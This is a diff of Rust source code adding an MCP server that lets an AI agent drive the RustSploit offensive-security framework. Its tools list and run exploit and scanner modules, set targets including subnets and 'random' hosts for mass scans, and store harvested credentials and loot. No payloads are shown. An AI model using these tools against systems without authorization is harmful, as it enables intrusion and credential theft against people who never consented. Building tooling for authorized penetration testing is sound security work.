pub mod client;
|
||||
pub mod resources;
|
||||
pub mod server;
|
||||
pub mod tools;
|
||||
pub mod types;
|
||||
|
||||
pub use server::run_mcp_server;
|
||||
@@ -0,0 +1,256 @@
|
||||
use serde_json::json;
|
||||
|
||||
use super::types::{Resource, ResourceContent};
|
||||
|
||||
/// Return the list of all resources exposed by this MCP server.
|
||||
pub fn all_resources() -> Vec<Resource> {
|
||||
vec![
|
||||
Resource {
|
||||
uri: "rustsploit:///modules".into(),
|
||||
name: "Module Catalog".into(),
|
||||
description: "Full list of available modules with info() metadata where available".into(),
|
||||
mime_type: "application/json".into(),
|
||||
},
|
||||
Resource {
|
||||
uri: "rustsploit:///workspace".into(),
|
||||
name: "Current Workspace".into(),
|
||||
description: "Current workspace data including tracked hosts and services".into(),
|
||||
mime_type: "application/json".into(),
|
||||
},
|
||||
Resource {
|
||||
uri: "rustsploit:///credentials".into(),
|
||||
name: "Credentials".into(),
|
||||
description: "Credential list with secrets redacted (first 3 chars + ***)".into(),
|
||||
mime_type: "application/json".into(),
|
||||
},
|
||||
Resource {
|
||||
uri: "rustsploit:///loot".into(),
|
||||
name: "Loot Catalog".into(),
|
||||
description: "Loot entry metadata (no file content, just index data)".into(),
|
||||
mime_type: "application/json".into(),
|
||||
},
|
||||
Resource {
|
||||
uri: "rustsploit:///options".into(),
|
||||
name: "Global Options".into(),
|
||||
description: "Persistent global options (setg key-value pairs)".into(),
|
||||
mime_type: "application/json".into(),
|
||||
},
|
||||
Resource {
|
||||
uri: "rustsploit:///target".into(),
|
||||
name: "Current Target".into(),
|
||||
description: "Current global target, size, and subnet status".into(),
|
||||
mime_type: "application/json".into(),
|
||||
},
|
||||
Resource {
|
||||
uri: "rustsploit:///status".into(),
|
||||
name: "Framework Status".into(),
|
||||
description: "Summary: module count, workspace name, host count, credential count, loot count".into(),
|
||||
mime_type: "application/json".into(),
|
||||
},
|
||||
]
|
||||
}
|
||||
|
||||
/// Read a resource by URI.
|
||||
pub async fn read_resource(uri: &str) -> ResourceContent {
|
||||
match uri {
|
||||
"rustsploit:///modules" => read_modules().await,
|
||||
"rustsploit:///workspace" => read_workspace().await,
|
||||
"rustsploit:///credentials" => read_credentials().await,
|
||||
"rustsploit:///loot" => read_loot().await,
|
||||
"rustsploit:///options" => read_options().await,
|
||||
"rustsploit:///target" => read_target(),
|
||||
"rustsploit:///status" => read_status().await,
|
||||
_ => ResourceContent {
|
||||
uri: uri.to_string(),
|
||||
mime_type: "text/plain".into(),
|
||||
text: format!("Unknown resource: {}", uri),
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
// ===========================================================================
|
||||
// Individual resource readers
|
||||
// ===========================================================================
|
||||
|
||||
async fn read_modules() -> ResourceContent {
|
||||
let modules = crate::commands::discover_modules();
|
||||
|
||||
// Build a catalog entry for each module, including info() metadata when available
|
||||
let catalog: Vec<serde_json::Value> = modules
|
||||
.iter()
|
||||
.map(|path| {
|
||||
let info = crate::commands::module_info(path);
|
||||
match info {
|
||||
Some(i) => json!({
|
||||
"path": path,
|
||||
"name": i.name,
|
||||
"description": i.description,
|
||||
"authors": i.authors,
|
||||
"references": i.references,
|
||||
"disclosure_date": i.disclosure_date,
|
||||
"rank": format!("{}", i.rank),
|
||||
}),
|
||||
None => json!({
|
||||
"path": path,
|
||||
}),
|
||||
}
|
||||
})
|
||||
.collect();
|
||||
|
||||
let text = serde_json::to_string_pretty(&catalog).unwrap_or_else(|e| {
|
||||
tracing::debug!("JSON serialize modules catalog failed: {e}");
|
||||
"[]".into()
|
||||
});
|
||||
|
||||
ResourceContent {
|
||||
uri: "rustsploit:///modules".into(),
|
||||
mime_type: "application/json".into(),
|
||||
text,
|
||||
}
|
||||
}
|
||||
|
||||
async fn read_workspace() -> ResourceContent {
|
||||
let name = crate::workspace::WORKSPACE.current_name().await;
|
||||
let data = crate::workspace::WORKSPACE.get_data().await;
|
||||
|
||||
let text = serde_json::to_string_pretty(&json!({
|
||||
"workspace": name,
|
||||
"hosts": data.hosts,
|
||||
"services": data.services,
|
||||
}))
|
||||
.unwrap_or_else(|e| { tracing::debug!("JSON serialize failed: {e}"); "{}".into() });
|
||||
|
||||
ResourceContent {
|
||||
uri: "rustsploit:///workspace".into(),
|
||||
mime_type: "application/json".into(),
|
||||
text,
|
||||
}
|
||||
}
|
||||
|
||||
async fn read_credentials() -> ResourceContent {
|
||||
let creds = crate::cred_store::CRED_STORE.list().await;
|
||||
|
||||
// Redact secrets: show first 3 characters then ***
|
||||
let redacted: Vec<serde_json::Value> = creds
|
||||
.iter()
|
||||
.map(|c| {
|
||||
// Take the first 3 chars (not bytes) — slicing at byte 3 in a
|
||||
// multi-byte UTF-8 secret (emoji, CJK) panics with
|
||||
// "byte index N is not a char boundary".
|
||||
let redacted_secret = if c.secret.chars().count() > 3 {
|
||||
let prefix: String = c.secret.chars().take(3).collect();
|
||||
format!("{}***", prefix)
|
||||
} else {
|
||||
"***".into()
|
||||
};
|
||||
json!({
|
||||
"id": c.id,
|
||||
"host": c.host,
|
||||
"port": c.port,
|
||||
"service": c.service,
|
||||
"username": c.username,
|
||||
"secret": redacted_secret,
|
||||
"cred_type": format!("{}", c.cred_type),
|
||||
"source_module": c.source_module,
|
||||
"timestamp": c.timestamp,
|
||||
"valid": c.valid,
|
||||
})
|
||||
})
|
||||
.collect();
|
||||
|
||||
let text = serde_json::to_string_pretty(&redacted).unwrap_or_else(|e| { tracing::debug!("JSON serialize failed: {e}"); "[]".into() });
|
||||
|
||||
ResourceContent {
|
||||
uri: "rustsploit:///credentials".into(),
|
||||
mime_type: "application/json".into(),
|
||||
text,
|
||||
}
|
||||
}
|
||||
|
||||
async fn read_loot() -> ResourceContent {
|
||||
let loot = crate::loot::LOOT_STORE.list().await;
|
||||
|
||||
// Return metadata only (no file content)
|
||||
let entries: Vec<serde_json::Value> = loot
|
||||
.iter()
|
||||
.map(|l| {
|
||||
json!({
|
||||
"id": l.id,
|
||||
"host": l.host,
|
||||
"loot_type": l.loot_type,
|
||||
"filename": l.filename,
|
||||
"description": l.description,
|
||||
"source_module": l.source_module,
|
||||
"timestamp": l.timestamp,
|
||||
})
|
||||
})
|
||||
.collect();
|
||||
|
||||
let text = serde_json::to_string_pretty(&entries).unwrap_or_else(|e| { tracing::debug!("JSON serialize failed: {e}"); "[]".into() });
|
||||
|
||||
ResourceContent {
|
||||
uri: "rustsploit:///loot".into(),
|
||||
mime_type: "application/json".into(),
|
||||
text,
|
||||
}
|
||||
}
|
||||
|
||||
async fn read_options() -> ResourceContent {
|
||||
let opts = crate::global_options::GLOBAL_OPTIONS.all().await;
|
||||
|
||||
let text = serde_json::to_string_pretty(&opts).unwrap_or_else(|e| { tracing::debug!("JSON serialize failed: {e}"); "{}".into() });
|
||||
|
||||
ResourceContent {
|
||||
uri: "rustsploit:///options".into(),
|
||||
mime_type: "application/json".into(),
|
||||
text,
|
||||
}
|
||||
}
|
||||
|
||||
fn read_target() -> ResourceContent {
|
||||
let target = crate::config::GLOBAL_CONFIG.get_target();
|
||||
let size = crate::config::GLOBAL_CONFIG.get_target_size();
|
||||
let is_subnet = crate::config::GLOBAL_CONFIG.is_subnet();
|
||||
|
||||
let text = serde_json::to_string_pretty(&json!({
|
||||
"target": target,
|
||||
"size": size,
|
||||
"is_subnet": is_subnet,
|
||||
}))
|
||||
.unwrap_or_else(|e| { tracing::debug!("JSON serialize failed: {e}"); "{}".into() });
|
||||
|
||||
ResourceContent {
|
||||
uri: "rustsploit:///target".into(),
|
||||
mime_type: "application/json".into(),
|
||||
text,
|
||||
}
|
||||
}
|
||||
|
||||
async fn read_status() -> ResourceContent {
|
||||
// Use get_data() for a single lock acquisition instead of separate hosts()/services() calls
|
||||
let workspace_name = crate::workspace::WORKSPACE.current_name().await;
|
||||
let ws_data = crate::workspace::WORKSPACE.get_data().await;
|
||||
let cred_count = crate::cred_store::CRED_STORE.list().await.len();
|
||||
let loot_count = crate::loot::LOOT_STORE.list().await.len();
|
||||
let module_count = crate::commands::discover_modules().len();
|
||||
let target = crate::config::GLOBAL_CONFIG.get_target();
|
||||
let job_count = crate::jobs::JOB_MANAGER.list().len();
|
||||
|
||||
let text = serde_json::to_string_pretty(&json!({
|
||||
"module_count": module_count,
|
||||
"workspace": workspace_name,
|
||||
"host_count": ws_data.hosts.len(),
|
||||
"service_count": ws_data.services.len(),
|
||||
"credential_count": cred_count,
|
||||
"loot_count": loot_count,
|
||||
"active_jobs": job_count,
|
||||
"target": target,
|
||||
}))
|
||||
.unwrap_or_else(|e| { tracing::debug!("JSON serialize failed: {e}"); "{}".into() });
|
||||
|
||||
ResourceContent {
|
||||
uri: "rustsploit:///status".into(),
|
||||
mime_type: "application/json".into(),
|
||||
text,
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,288 @@
|
||||
use std::sync::Arc;
|
||||
|
||||
use anyhow::Context;
|
||||
use serde_json::{Map, Value};
|
||||
|
||||
use rmcp::{
|
||||
ErrorData as McpError, ServerHandler, serve_server,
|
||||
model::{
|
||||
AnnotateAble, CallToolRequestParams, CallToolResult, Content, Implementation,
|
||||
InitializeResult, ListResourcesResult, ListToolsResult, PaginatedRequestParams, RawResource,
|
||||
ReadResourceRequestParams, ReadResourceResult, Resource, ResourceContents,
|
||||
ServerCapabilities, ServerInfo, Tool,
|
||||
},
|
||||
service::{RequestContext, RoleServer},
|
||||
};
|
||||
|
||||
/// Read the libc errno value for the current thread, in a portable way.
|
||||
fn errno() -> i32 {
|
||||
// SAFETY: `__errno_location` / `__error` return a valid pointer to a
|
||||
// thread-local int that remains valid for the duration of the thread; a
|
||||
// single `*ptr` read of a primitive `c_int` cannot violate any invariant.
|
||||
#[cfg(any(target_os = "freebsd", target_os = "macos"))]
|
||||
unsafe { *libc::__error() }
|
||||
|
||||
#[cfg(target_os = "linux")]
|
||||
// SAFETY: see comment above; `__errno_location` mirrors the BSD `__error`.
|
||||
unsafe { *libc::__errno_location() }
|
||||
|
||||
// Fallback for other Unixes: errno isn't reliably accessible without a
|
||||
// platform-specific symbol, so callers will see `0`.
|
||||
#[cfg(not(any(target_os = "freebsd", target_os = "macos", target_os = "linux")))]
|
||||
{ 0 }
|
||||
}
|
||||
|
||||
/// Save the original stdout (fd 1) into a new fd, then redirect fd 1 to
|
||||
/// `/dev/null`. The returned tokio file is the *only* remaining handle to the
|
||||
/// original stdout — used by the MCP server to emit JSON-RPC responses on a
|
||||
/// channel that user-mode `println!` calls can no longer corrupt.
|
||||
fn isolate_protocol_stdout() -> anyhow::Result<tokio::fs::File> {
|
||||
use std::os::fd::FromRawFd;
|
||||
|
||||
// SAFETY: `dup(1)` is a no-arg syscall that returns either a fresh valid
|
||||
// fd or -1. We immediately check the return value before doing anything
|
||||
// that depends on its validity.
|
||||
let saved_fd = unsafe { libc::dup(1) };
|
||||
if saved_fd < 0 {
|
||||
anyhow::bail!("dup(1) failed: errno {}", errno());
|
||||
}
|
||||
|
||||
let null_path = b"/dev/null\0";
|
||||
// SAFETY: `null_path` is a NUL-terminated, statically-allocated byte
|
||||
// string with a pointer valid for the duration of the call; `O_WRONLY` is
|
||||
// a libc-defined constant. `open` returns -1 on failure, checked below.
|
||||
let null_fd = unsafe {
|
||||
libc::open(null_path.as_ptr() as *const libc::c_char, libc::O_WRONLY)
|
||||
};
|
||||
if null_fd < 0 {
|
||||
// SAFETY: `saved_fd` is a valid open fd we just received from `dup`.
|
||||
unsafe { libc::close(saved_fd); }
|
||||
anyhow::bail!("open(/dev/null) failed: errno {}", errno());
|
||||
}
|
||||
|
||||
// SAFETY: `null_fd` and `1` are both valid open fds (1 is stdout; the
|
||||
// dup above proved it is open and non-error). `dup2` either succeeds and
|
||||
// installs `null_fd` as fd 1, or returns -1.
|
||||
let dup2_ret = unsafe { libc::dup2(null_fd, 1) };
|
||||
if dup2_ret < 0 {
|
||||
// SAFETY: both fds are valid open descriptors at this point.
|
||||
unsafe {
|
||||
libc::close(null_fd);
|
||||
libc::close(saved_fd);
|
||||
}
|
||||
anyhow::bail!("dup2(null, 1) failed: errno {}", errno());
|
||||
}
|
||||
// SAFETY: `null_fd` is a valid open fd; closing the source after a
|
||||
// successful `dup2` is the standard idiom — fd 1 keeps the kernel-side
|
||||
// open file description alive.
|
||||
unsafe { libc::close(null_fd); }
|
||||
|
||||
// SAFETY: `saved_fd` is owned by us (returned by `dup`, never close()d
|
||||
// here, never given to anyone else); transferring it into a `File` makes
|
||||
// that file the sole owner so the eventual Drop closes it exactly once.
|
||||
let std_file = unsafe { std::fs::File::from_raw_fd(saved_fd) };
|
||||
Ok(tokio::fs::File::from_std(std_file))
|
||||
}
|
||||
|
||||
/// Per-tool-call execution budget. A single hung/slow tool must not be able to
|
||||
/// wedge the server forever, so `tools/call` dispatch is bounded by this
|
||||
/// timeout and returns a JSON-RPC error on expiry. Override via the
|
||||
/// `RUSTSPLOIT_MCP_TIMEOUT_SECS` env var (0 disables the cap).
|
||||
fn module_timeout() -> Option<std::time::Duration> {
|
||||
match std::env::var("RUSTSPLOIT_MCP_TIMEOUT_SECS") {
|
||||
Ok(v) => match v.trim().parse::<u64>() {
|
||||
Ok(0) => None,
|
||||
Ok(secs) => Some(std::time::Duration::from_secs(secs)),
|
||||
// Unparseable override falls back to the default rather than panicking.
|
||||
Err(e) => {
|
||||
tracing::debug!("RUSTSPLOIT_MCP_TIMEOUT_SECS is not a valid u64, using 300s default: {e}");
|
||||
Some(std::time::Duration::from_secs(300))
|
||||
}
|
||||
},
|
||||
// The variable is normally unset (use the default); a NotUnicode read
|
||||
// error is the only surprising case, so trace it rather than drop it.
|
||||
Err(e) => {
|
||||
tracing::trace!("RUSTSPLOIT_MCP_TIMEOUT_SECS unreadable ({e}); using 300s default");
|
||||
Some(std::time::Duration::from_secs(300))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Run the MCP server over the official `rmcp` SDK on a stdio transport.
|
||||
///
|
||||
/// The protocol channel (JSON-RPC over the original stdout) is isolated from
|
||||
/// fd 1 first, so stray `println!` from library code cannot corrupt the stream;
|
||||
/// fd 1 is redirected to `/dev/null` and the saved descriptor becomes the
|
||||
/// transport's writer. Module output is captured through `OUTPUT_BUFFER`.
|
||||
pub async fn run_mcp_server() -> anyhow::Result<()> {
|
||||
let protocol_out = isolate_protocol_stdout()
|
||||
.context("Cannot isolate protocol stdout — aborting to prevent JSON-RPC corruption")?;
|
||||
|
||||
eprintln!("[MCP] RustSploit MCP server started (rmcp SDK, stdio transport)");
|
||||
eprintln!("[MCP] Protocol stdout isolated — module output is captured via OUTPUT_BUFFER only");
|
||||
|
||||
// `(reader, writer)` is an rmcp async-RW transport. stdin is the request
|
||||
// stream; the saved real-stdout file is the response sink.
|
||||
let transport = (tokio::io::stdin(), protocol_out);
|
||||
|
||||
let service = serve_server(RustsploitHandler, transport)
|
||||
.await
|
||||
.context("MCP server initialization (initialize handshake) failed")?;
|
||||
|
||||
// Block until the client disconnects (stdin EOF) or the connection ends.
|
||||
let quit_reason = service
|
||||
.waiting()
|
||||
.await
|
||||
.context("MCP server task failed to join cleanly")?;
|
||||
|
||||
eprintln!("[MCP] server stopped: {quit_reason:?}");
|
||||
Ok(())
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Handler — adapts the existing tool/resource registry to rmcp's traits.
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/// Stateless MCP handler. All state lives behind the per-tenant stores reached
|
||||
/// inside `tools::call_tool` / `resources::read_resource`, so this is a unit.
|
||||
#[derive(Clone)]
|
||||
struct RustsploitHandler;
|
||||
|
||||
impl ServerHandler for RustsploitHandler {
|
||||
fn get_info(&self) -> ServerInfo {
|
||||
let capabilities = ServerCapabilities::builder()
|
||||
.enable_tools()
|
||||
.enable_resources()
|
||||
.build();
|
||||
|
||||
InitializeResult::new(capabilities)
|
||||
.with_server_info(Implementation::new(
|
||||
"rustsploit-mcp",
|
||||
env!("CARGO_PKG_VERSION"),
|
||||
))
|
||||
.with_instructions(
|
||||
"RustSploit offensive-security framework over MCP. Discover modules with \
|
||||
`list_modules` / `search_modules` / `module_info`, set a scope with \
|
||||
`set_target`, then execute with `run_module` (set `background: true` for \
|
||||
long-running scans and poll `list_jobs`). Live engagement state is exposed \
|
||||
as resources under the `rustsploit:///` URI scheme.",
|
||||
)
|
||||
}
|
||||
|
||||
async fn list_tools(
|
||||
&self,
|
||||
_request: Option<PaginatedRequestParams>,
|
||||
_context: RequestContext<RoleServer>,
|
||||
) -> Result<ListToolsResult, McpError> {
|
||||
let tools = super::tools::all_tools()
|
||||
.into_iter()
|
||||
.map(to_rmcp_tool)
|
||||
.collect();
|
||||
Ok(ListToolsResult::with_all_items(tools))
|
||||
}
|
||||
|
||||
async fn call_tool(
|
||||
&self,
|
||||
request: CallToolRequestParams,
|
||||
_context: RequestContext<RoleServer>,
|
||||
) -> Result<CallToolResult, McpError> {
|
||||
let name = request.name.to_string();
|
||||
// rmcp delivers arguments as `Option<JsonObject>`; the existing
|
||||
// dispatcher expects a JSON `Value` (defaulting to `{}` when absent).
|
||||
let arguments = match request.arguments {
|
||||
Some(map) => Value::Object(map),
|
||||
None => Value::Object(Map::new()),
|
||||
};
|
||||
|
||||
// Bound execution so one hung tool cannot wedge the server. On expiry,
|
||||
// surface a JSON-RPC error instead of blocking the connection.
|
||||
let result = match module_timeout() {
|
||||
Some(dur) => {
|
||||
match tokio::time::timeout(dur, super::tools::call_tool(&name, arguments)).await {
|
||||
Ok(r) => r,
|
||||
Err(elapsed) => {
|
||||
tracing::debug!("MCP tool '{}' timed out: {elapsed}", name);
|
||||
eprintln!(
|
||||
"[MCP] tool '{}' exceeded {}s timeout — aborting call",
|
||||
name,
|
||||
dur.as_secs()
|
||||
);
|
||||
return Err(McpError::internal_error(
|
||||
format!("Tool '{}' timed out after {} seconds", name, dur.as_secs()),
|
||||
None,
|
||||
));
|
||||
}
|
||||
}
|
||||
}
|
||||
None => super::tools::call_tool(&name, arguments).await,
|
||||
};
|
||||
|
||||
Ok(to_rmcp_tool_result(result))
|
||||
}
|
||||
|
||||
async fn list_resources(
|
||||
&self,
|
||||
_request: Option<PaginatedRequestParams>,
|
||||
_context: RequestContext<RoleServer>,
|
||||
) -> Result<ListResourcesResult, McpError> {
|
||||
let resources = super::resources::all_resources()
|
||||
.into_iter()
|
||||
.map(to_rmcp_resource)
|
||||
.collect();
|
||||
Ok(ListResourcesResult::with_all_items(resources))
|
||||
}
|
||||
|
||||
async fn read_resource(
|
||||
&self,
|
||||
request: ReadResourceRequestParams,
|
||||
_context: RequestContext<RoleServer>,
|
||||
) -> Result<ReadResourceResult, McpError> {
|
||||
let content = super::resources::read_resource(&request.uri).await;
|
||||
let contents = ResourceContents::TextResourceContents {
|
||||
uri: content.uri,
|
||||
mime_type: Some(content.mime_type),
|
||||
text: content.text,
|
||||
meta: None,
|
||||
};
|
||||
Ok(ReadResourceResult::new(vec![contents]))
|
||||
}
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Mapping helpers: internal registry types -> rmcp model types.
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/// Map an internal tool descriptor to an rmcp `Tool`. The hand-authored
|
||||
/// `inputSchema` JSON is reused verbatim (rmcp expects a JSON-Schema object).
|
||||
fn to_rmcp_tool(t: super::types::Tool) -> Tool {
|
||||
let schema: Map<String, Value> = match t.input_schema {
|
||||
Value::Object(map) => map,
|
||||
// A non-object schema is malformed; advertise an empty object rather
|
||||
// than panicking so the rest of the tool list still loads.
|
||||
_ => Map::new(),
|
||||
};
|
||||
Tool::new(t.name, t.description, Arc::new(schema))
|
||||
}
|
||||
|
||||
/// Map an internal tool result to rmcp's `CallToolResult`. All internal content
|
||||
/// blocks are text; `is_error` selects the error vs. success constructor.
|
||||
fn to_rmcp_tool_result(r: super::types::ToolResult) -> CallToolResult {
|
||||
let content: Vec<Content> = r
|
||||
.content
|
||||
.into_iter()
|
||||
.map(|c| Content::text(c.text))
|
||||
.collect();
|
||||
if r.is_error == Some(true) {
|
||||
CallToolResult::error(content)
|
||||
} else {
|
||||
CallToolResult::success(content)
|
||||
}
|
||||
}
|
||||
|
||||
/// Map an internal resource descriptor to an rmcp `Resource`.
|
||||
fn to_rmcp_resource(res: super::types::Resource) -> Resource {
|
||||
RawResource::new(res.uri, res.name)
|
||||
.with_description(res.description)
|
||||
.with_mime_type(res.mime_type)
|
||||
.no_annotation()
|
||||
}
|
||||
@@ -0,0 +1,988 @@
|
||||
use std::collections::HashMap;
|
||||
|
||||
use once_cell::sync::Lazy;
|
||||
use serde_json::{json, Value};
|
||||
|
||||
use super::types::{Tool, ToolResult};
|
||||
|
||||
/// Cached tool definitions — built once, reused on every tools/list call.
|
||||
static TOOL_DEFINITIONS: Lazy<Vec<Tool>> = Lazy::new(build_tool_definitions);
|
||||
|
||||
/// Return definitions for all MCP tools (cached).
|
||||
pub fn all_tools() -> Vec<Tool> {
|
||||
TOOL_DEFINITIONS.clone()
|
||||
}
|
||||
|
||||
fn build_tool_definitions() -> Vec<Tool> {
|
||||
vec![
|
||||
// ── Module tools ──────────────────────────────────────────────
|
||||
Tool {
|
||||
name: "list_modules".into(),
|
||||
description: "List all available modules, optionally filtered by category".into(),
|
||||
input_schema: json!({
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"category": { "type": "string", "description": "Filter by category (exploits, scanners, creds, plugins)" }
|
||||
}
|
||||
}),
|
||||
},
|
||||
Tool {
|
||||
name: "search_modules".into(),
|
||||
description: "Search modules by keyword (case-insensitive substring match)".into(),
|
||||
input_schema: json!({
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"query": { "type": "string", "description": "Search query" }
|
||||
},
|
||||
"required": ["query"]
|
||||
}),
|
||||
},
|
||||
Tool {
|
||||
name: "module_info".into(),
|
||||
description: "Get metadata for a specific module (name, description, authors, references, rank)".into(),
|
||||
input_schema: json!({
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"module_path": { "type": "string", "description": "Full module path, e.g. exploits/router_exploit" }
|
||||
},
|
||||
"required": ["module_path"]
|
||||
}),
|
||||
},
|
||||
// ── Target tools ──────────────────────────────────────────────
|
||||
Tool {
|
||||
name: "set_target".into(),
|
||||
description: "Set the global target (IP, hostname, CIDR subnet, or comma-separated list)".into(),
|
||||
input_schema: json!({
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"target": { "type": "string", "description": "Target value" }
|
||||
},
|
||||
"required": ["target"]
|
||||
}),
|
||||
},
|
||||
Tool {
|
||||
name: "get_target".into(),
|
||||
description: "Get the current global target, its size, and whether it is a subnet".into(),
|
||||
input_schema: json!({ "type": "object", "properties": {} }),
|
||||
},
|
||||
Tool {
|
||||
name: "clear_target".into(),
|
||||
description: "Clear the global target".into(),
|
||||
input_schema: json!({ "type": "object", "properties": {} }),
|
||||
},
|
||||
// ── Execution ─────────────────────────────────────────────────
|
||||
Tool {
|
||||
name: "run_module".into(),
|
||||
description: "Execute a module against a target, returning captured output. For mass scans (CIDR / `random` / comma-separated lists) set background:true to run as a job and return immediately (avoids the tool-call timeout); poll list_jobs and read hosts/loot/creds for results.".into(),
|
||||
input_schema: json!({
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"module_path": { "type": "string", "description": "Full module path" },
|
||||
"target": { "type": "string", "description": "Target IP, hostname, CIDR, comma-list, or 'random'" },
|
||||
"port": { "type": "integer", "description": "Optional port override" },
|
||||
"verbose": { "type": "boolean", "description": "Enable verbose output" },
|
||||
"background": { "type": "boolean", "description": "Run as a background job and return a job_id immediately (recommended for mass scans)" },
|
||||
"prompts": {
|
||||
"type": "object",
|
||||
"description": "Key-value prompt overrides (e.g. {\"port\": \"8080\", \"timeout\": \"5\"})",
|
||||
"additionalProperties": { "type": "string" }
|
||||
}
|
||||
},
|
||||
"required": ["module_path", "target"]
|
||||
}),
|
||||
},
|
||||
// ── Credentials ───────────────────────────────────────────────
|
||||
Tool {
|
||||
name: "list_creds".into(),
|
||||
description: "List all stored credentials".into(),
|
||||
input_schema: json!({ "type": "object", "properties": {} }),
|
||||
},
|
||||
Tool {
|
||||
name: "search_creds".into(),
|
||||
description: "Search credentials by host, service, or username".into(),
|
||||
input_schema: json!({
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"query": { "type": "string", "description": "Search query" }
|
||||
},
|
||||
"required": ["query"]
|
||||
}),
|
||||
},
|
||||
Tool {
|
||||
name: "add_cred".into(),
|
||||
description: "Add a credential to the store".into(),
|
||||
input_schema: json!({
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"host": { "type": "string" },
|
||||
"username": { "type": "string" },
|
||||
"secret": { "type": "string" },
|
||||
"port": { "type": "integer", "default": 0 },
|
||||
"service": { "type": "string", "default": "unknown" },
|
||||
"cred_type": { "type": "string", "enum": ["password", "hash", "key", "token"], "default": "password" }
|
||||
},
|
||||
"required": ["host", "username", "secret"]
|
||||
}),
|
||||
},
|
||||
Tool {
|
||||
name: "delete_cred".into(),
|
||||
description: "Delete a credential by its ID".into(),
|
||||
input_schema: json!({
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"id": { "type": "string", "description": "Credential ID" }
|
||||
},
|
||||
"required": ["id"]
|
||||
}),
|
||||
},
|
||||
// ── Workspace hosts & services ────────────────────────────────
|
||||
Tool {
|
||||
name: "list_hosts".into(),
|
||||
description: "List all tracked hosts in the current workspace".into(),
|
||||
input_schema: json!({ "type": "object", "properties": {} }),
|
||||
},
|
||||
Tool {
|
||||
name: "add_host".into(),
|
||||
description: "Add or update a host in the workspace".into(),
|
||||
input_schema: json!({
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"ip": { "type": "string" },
|
||||
"hostname": { "type": "string" },
|
||||
"os_guess": { "type": "string" }
|
||||
},
|
||||
"required": ["ip"]
|
||||
}),
|
||||
},
|
||||
Tool {
|
||||
name: "delete_host".into(),
|
||||
description: "Delete a host (and its services) from the workspace".into(),
|
||||
input_schema: json!({
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"ip": { "type": "string" }
|
||||
},
|
||||
"required": ["ip"]
|
||||
}),
|
||||
},
|
||||
Tool {
|
||||
name: "list_services".into(),
|
||||
description: "List all tracked services in the current workspace".into(),
|
||||
input_schema: json!({ "type": "object", "properties": {} }),
|
||||
},
|
||||
Tool {
|
||||
name: "add_service".into(),
|
||||
description: "Add or update a service in the workspace".into(),
|
||||
input_schema: json!({
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"host": { "type": "string" },
|
||||
"port": { "type": "integer" },
|
||||
"service_name": { "type": "string" },
|
||||
"protocol": { "type": "string", "default": "tcp" },
|
||||
"version": { "type": "string" }
|
||||
},
|
||||
"required": ["host", "port", "service_name"]
|
||||
}),
|
||||
},
|
||||
Tool {
|
||||
name: "delete_service".into(),
|
||||
description: "Delete a service by host and port".into(),
|
||||
input_schema: json!({
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"host": { "type": "string" },
|
||||
"port": { "type": "integer" }
|
||||
},
|
||||
"required": ["host", "port"]
|
||||
}),
|
||||
},
|
||||
// ── Loot ──────────────────────────────────────────────────────
|
||||
Tool {
|
||||
name: "list_loot".into(),
|
||||
description: "List all stored loot entries".into(),
|
||||
input_schema: json!({ "type": "object", "properties": {} }),
|
||||
},
|
||||
Tool {
|
||||
name: "search_loot".into(),
|
||||
description: "Search loot by host, type, or description".into(),
|
||||
input_schema: json!({
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"query": { "type": "string" }
|
||||
},
|
||||
"required": ["query"]
|
||||
}),
|
||||
},
|
||||
Tool {
|
||||
name: "add_loot".into(),
|
||||
description: "Store a loot entry (text data)".into(),
|
||||
input_schema: json!({
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"host": { "type": "string" },
|
||||
"loot_type": { "type": "string", "description": "e.g. config, password_file, hash, firmware" },
|
||||
"data": { "type": "string", "description": "Loot content (text)" },
|
||||
"description": { "type": "string" }
|
||||
},
|
||||
"required": ["host", "loot_type", "data"]
|
||||
}),
|
||||
},
|
||||
Tool {
|
||||
name: "delete_loot".into(),
|
||||
description: "Delete a loot entry by ID".into(),
|
||||
input_schema: json!({
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"id": { "type": "string" }
|
||||
},
|
||||
"required": ["id"]
|
||||
}),
|
||||
},
|
||||
// ── Global options ────────────────────────────────────────────
|
||||
Tool {
|
||||
name: "list_options".into(),
|
||||
description: "List all persistent global options (setg values)".into(),
|
||||
input_schema: json!({ "type": "object", "properties": {} }),
|
||||
},
|
||||
Tool {
|
||||
name: "set_option".into(),
|
||||
description: "Set a persistent global option".into(),
|
||||
input_schema: json!({
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"key": { "type": "string" },
|
||||
"value": { "type": "string" }
|
||||
},
|
||||
"required": ["key", "value"]
|
||||
}),
|
||||
},
|
||||
Tool {
|
||||
name: "unset_option".into(),
|
||||
description: "Remove a persistent global option".into(),
|
||||
input_schema: json!({
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"key": { "type": "string" }
|
||||
},
|
||||
"required": ["key"]
|
||||
}),
|
||||
},
|
||||
// ── Jobs ──────────────────────────────────────────────────────
|
||||
Tool {
|
||||
name: "list_jobs".into(),
|
||||
description: "List active background jobs".into(),
|
||||
input_schema: json!({ "type": "object", "properties": {} }),
|
||||
},
|
||||
Tool {
|
||||
name: "kill_job".into(),
|
||||
description: "Kill a background job by ID".into(),
|
||||
input_schema: json!({
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"id": { "type": "integer" }
|
||||
},
|
||||
"required": ["id"]
|
||||
}),
|
||||
},
|
||||
// ── Workspace management ──────────────────────────────────────
|
||||
Tool {
|
||||
